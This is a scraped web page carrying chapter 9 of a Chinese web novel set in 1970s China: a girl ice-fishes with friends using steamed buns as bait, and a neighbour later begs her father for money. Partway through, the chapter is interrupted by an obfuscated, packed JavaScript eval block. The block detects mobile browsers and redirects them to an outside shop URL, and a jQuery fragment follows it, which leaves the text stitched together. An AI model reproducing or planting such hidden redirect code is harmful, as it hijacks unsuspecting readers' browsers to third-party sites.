9. 第 9 章
作品:《七零之改革春风吹又吹》 雪终于化了一些,但粮食短缺的问题一点没得到缓解。
家里全是工人的还好,日子没那么难熬,如果家里只有一个人上班,拿一份工资,日子就有些捉襟见肘了。
不管怎么样,生活总在继续,转眼就来到了年关。
大大小小的工厂已经放假,其实工人们并不想放假,上班好歹可以吃食堂,给家里省下点口粮。
古青松在厂里待遇好,领导们怕他们这群工程师费脑子,就想办法给他们弄了点猪肉,让他们好好补补。
他全拿回了家里,总共两斤肉,一斤让王丽娟做成了咸肉,一斤吊在房梁上准备过年吃。
还有两天就过年了,古今盯着房梁上的肉数着日子。
李曼曼来找古今的时候,就看到她的眼光从房梁上挪不开。
她告诉古今:“北庄有条河,被人砸开了一个洞,据说里面跳出来好多鱼,简直就是白捡,很多人都闻风过去捉鱼,咱们也去碰碰运气,万一也能碰上这样的好事呢。”
古今两眼放光,又瞬间熄灭,“这不是投机倒把吗,被抓到是要劳改的。”
“不会,家里的大人不参与,去的都是孩子,没人会抓我们,都快过年了,红袖章也要过年,谁有空盯着一帮小孩,就算被抓到了,最多口头教育一下完事了。”
古今心动了,她想喝奶白的鱼汤,“你等我一下。”
她跨了一个帆布包,里面装得鼓鼓囊囊的,李曼曼没问是什么。
李曼曼还带上了她妹和两个弟弟,她要是不带上她弟弟,回头怕他们自己偷摸着去,出了事没人知道,而且这个消息就是她弟弟听马寡妇的儿子回来说的。
马寡妇娘家就是在北庄附近,那条河很宽,绵延上百公里。
因为天气冷早就上冻了,有人在河面上砸了个洞,之前巡逻的红袖章发现了,就一直派人守着,后来发现越来越多的人在其他地方开砸,守不住了,索性就不守了。
在抓了几个典型后,大人不敢去了,就指使家里的孩子去。
古今和李曼曼都骑着自行车,各带了两个人,古今的自行车是她爸的,李曼曼是从别人家借来的。
她们骑了一个小时,一路上躲着人走,终于到达了河边。
古今两脚踩在冰面上,腿不受控制的微微发抖,李曼曼几人走在前面,时不时回头看她。
“没事的,别怕,这冰面很厚,不会掉下去的。”
李曼曼说着,还在冰面上跳了两下,用行动向古今证明这冰是真的很厚。
古今的心随着她跳的那两下一颤一颤的,她也不想这么没出息,于是深呼吸,跟上他们的脚步。
幸好他们走的不太远就停下来,古今目测了一下,距离岸边差不多有十米。
为什么她有种走了二里地的感觉。
李曼曼看不惯她的磨蹭,拉了她一把,让她低头看面前的这个冰洞。
“这是?”古今疑惑这里怎么会有一个洞,是谁凿的。
洞口应该凿得不久,结的冰比周围要薄。
李曼曼的大弟小虎,真够虎的,捡起河边的一块石头就往洞里砸,溅起了长长的水花,要不是大家躲得快,一准淋成落汤鸡,就这样还是有零星水花落在几人身上。
李曼曼气得要收拾他,被古今拦下了,“别揍他,揍哭了动静太大,引来其他人就不好了。”
小虎连忙点头,感激地看着古今,谁知古今又加了一句:“等回了家再揍。”
李曼曼放过小虎,对古今说:“这洞口是我爸昨晚花了一小时偷偷砸的,他说自己听到了鱼儿拍水的声音,但没抓着,天太晚了。”
洞口重新砸开后,他们围成一个圈,等着鱼儿跳出水面,古今蹲得腿都麻了,连个鱼影都没看见。
“咱们这样等下去,真的会有鱼儿自投罗网吗?”古今看着李曼曼拿着自制的三角网在冰洞里搅来搅去,觉得捉到鱼的可能性不大。
“那怎么办,你有什么想法?”李曼曼问。
古今想了一下,让他们在这等着,她则去岸上拿她的包。
她出来时顺手拿了两个馒头,本来是想给曼曼吃的,现在只好拿来喂鱼。
她把馒头拿出来的时候,李曼曼他们全都咽了口吐沫。
馒头的麦香勾的他们肚子咕咕叫,他们看着古今毫不怜惜地将馒头一点点掰成块扔进洞里,心疼得倒抽一口凉气。
这可是细粮啊,白瞎了。
古今没有她表面看起来的那么淡定,她也很心疼,她求她妈做一次纯面的馒头很不容易,也就看在快过年的份上,才做给她解解馋。
她尽量将馒头块扔在渔网里,等一会儿,见馒头块化了,她就再扔几块。
等到一个馒头快用完了,他们终于看到有鱼儿往这边游动,几人瞬间吓得大气不敢出,生怕惊扰了这快到嘴边的美味。
眼见鱼儿进网了,几人合力将三角网提起,三条不大不小的野生鱼被他们提了上来,扔在岸上还是活蹦乱跳的想往河里钻。
有条鱼弹跳的非常高,还真被它跳了下来,可是它摔在了冰面上,这要放平时,它早跑了。
李曼曼让她最小的弟弟在岸上看着鱼,他们继续蹲在洞口等鱼上钩。
一直到下午四点多,他们一共抓了七条小鱼。
古今还没抓够,但是馒头已经用光了,李曼曼怕家里人着急,就说:“咱们今天先回去,明天有时间再过来抓。”
古今依依不舍地上了岸。
七条鱼死了三条,李曼曼将其中三条稍微大点的活鱼递给古今,让她拿回去。
古今立马拒绝:“我拿一条就够了,大家都出了力,不能我一个人分走一半啊。”
“就这么分。”李曼曼很坚持,“馒头是你出的,如果没有这个,我们蹲一下午都不一定能抓到一条鱼,你必须收下。”
不论她怎么说,古今就是坚持拿一条,她和李曼曼谁也不让谁,最后李月月站出来打圆场,说古今分两条,剩下的留给他们。
再僵持下去天就黑了,两人只好同意,李曼曼的弟妹们欢天喜地地走在前面,李曼曼走在古今身边,小声说了句:“谢谢。”
古今什么话都没说,她将自己分的两条鱼塞进挎包里,其他人有样学样,把鱼装在篮子里,上面铺上一层杂草,一行人骑上自行车走了。
满载而归的喜悦在古今到达家门口那刻戛然而止。
赵英华一直在家门口张望,看到他们回来,立马招招手,她闻到了他们身上的鱼腥味,知道这一趟肯定有收获。
她让古今将挎包先放他们家,“杨德发和罗大花去你家了,罗大花那人嘴碎,别被她看见了。”
古今将挎包递给李曼曼,自己推着车回了家。
赵英华也赶紧带着四个孩子回了家。
古今刚将自行车放好,罗大花标志性的大嗓门便响起了,“古今回来了,去哪玩了?”
虽然很不想理她,但怕她一直问,只好说:“去同学家了。”
王丽娟的情绪不太好,坐在饭桌上,脸上的假笑快挂不住了。
杨德发夫妻俩显然刚到不久,专门踩着饭点来的,古今就好奇了,罗大花能做出这种事不稀奇,怎么最要面子的杨德发也这么做。
她端着碗在她妈旁边坐下,想听听他们说什么。
古青松先赔罪,“家里没酒,菜也没准备几个,怠慢了。”
“青松老弟,这话折煞哥哥我了,是我不请自来,还厚着脸皮留下来吃饭,给弟妹添麻烦了。”杨德发这话说的确实敞亮,但她妈不接话,场面顿时有点尴尬。
古青松连忙招呼道:“吃菜,吃菜。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470231|201438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饭桌上有道肉菜,一看就是古今垂涎了好久的房梁肉被割下来做了菜。
她抬头看了一下,好家伙,这盘菜用掉了一半的猪肉。
她必须多吃点。
古今埋头吃饭,没注意到杨德发脸上的犹豫、窘迫。
他开口道:“老弟啊,之前的事真是对不住了,我家这老婆子听风就是雨,瞎传了一些古今的坏话,惹弟妹不高兴了,我早就想让她登门道歉,可是、我……”
古青松见状,立马接过话,“我知道,我知道,古今被我宠坏了,嫂子有点误会也是正常的。”
他递过去的梯子,让杨德发和罗大花的脸色好看了一点,但王丽娟不乐意了,她重重地撂下碗筷,“你们吃吧。”
说完回屋关上了房门。
“弟妹这……”
古青松说没事,让杨德发两口子继续吃,他看了一眼关闭的房门,又看了一眼闷头吃饭的古今,得了她一个白眼。
这顿饭吃得局促,大家心思各异,唯有古今吃饱了,让她最奇怪的是平时话最多的罗大花竟然一句话都没说,很不对劲。
等到大家都放下筷子时,杨德发才慢吞吞地说出过来的目的。
“老弟,不瞒你说,老哥哥家里快断顿了,你大侄子在乡下挣的那点工分根本就养活不了自己,一直写信让我们寄粮食给他,老二放牧时从马背上摔下来,摔断了腿,还躺在医院里不知道怎么样了,牧场给他办理了病退,可是看病吃药的钱只给了一半,剩下的一半要我们自己想办法。”
杨德发说的声泪聚下,“如果不是真的走投无路了,老哥哥不会过来麻烦你,你就看在当年我爸妈给你出过学费的份上,再帮我这一次吧。”
古青松当年上高中,父母都过世了,家里的亲戚也早就在战乱中失散了,他和杨德发是从小到大的邻居,杨德发爸妈看他可怜就借给他5毛钱,不过后来他很快就把这钱还给了他们。
他变卖了家里唯一值钱的老物件,据说是古今奶奶留下来的玉镯。
古今赶在她爸开口前说道:“杨大伯,你总说要我爸帮你,可是帮忙也总要有个度吧,你家当年借给我爸的学费,我爸后面可是还了的,而且他这么多年帮了你家多少回了,你还过一次嘛,杨小帅的工作都是厂里看在我爸的面子上给安排的,去年借我家的钱也没还,大前年借的粮食你们不会忘了吧,我爸好说话,不代表我们全家都好说话。”
罗大花忍不住道:“你个小孩子家家的胡咧咧什么,我们又不是不还,只是现在没钱怎么还。”
古今都要被气笑了,杨德发低声呵斥了罗大花一句,这倒霉娘们,当着古青松的面说他闺女,那还能借到钱嘛。
自从两家闹过一次后,古青松不怎么爱搭理罗大花,以前碰见都喊嫂子,现在看到了就当没看到,对他这个老哥哥也不怎么热情了,这都要怪这个婆娘坏事。
只见他放低姿态,对着古青松坦言自己的难处,“我身体不好,早早办了病退,那点退休金根本不够用,你嫂子又没工作,家里日子过得难,好在有小帅顶上,这都要感谢老弟你。我三番五次上门找你帮忙,连古今这孩子都嫌我烦,我、实在惭愧啊。
“老弟你就当哥哥今天没来过,我也不想再给你添麻烦,你帮我跟弟妹说声对不起。”
说完,杨德发拉着罗大花作势就要走。
古青松喊住了他们,古今以为她爸又心软了,没想到她爸只是说:“我送送你们。”
杨德发彻底傻眼了,屡试不爽的套路竟然不管用了。
罗大花想再说什么,被杨德发一个眼神吓得不敢说了。
走到门口时,杨德发像是想起什么似的,对站在院里的古今道:“你小帅哥哥最近也放假了,有空过来找他玩。”
古今没应,这老头子真是太会恶心人了。

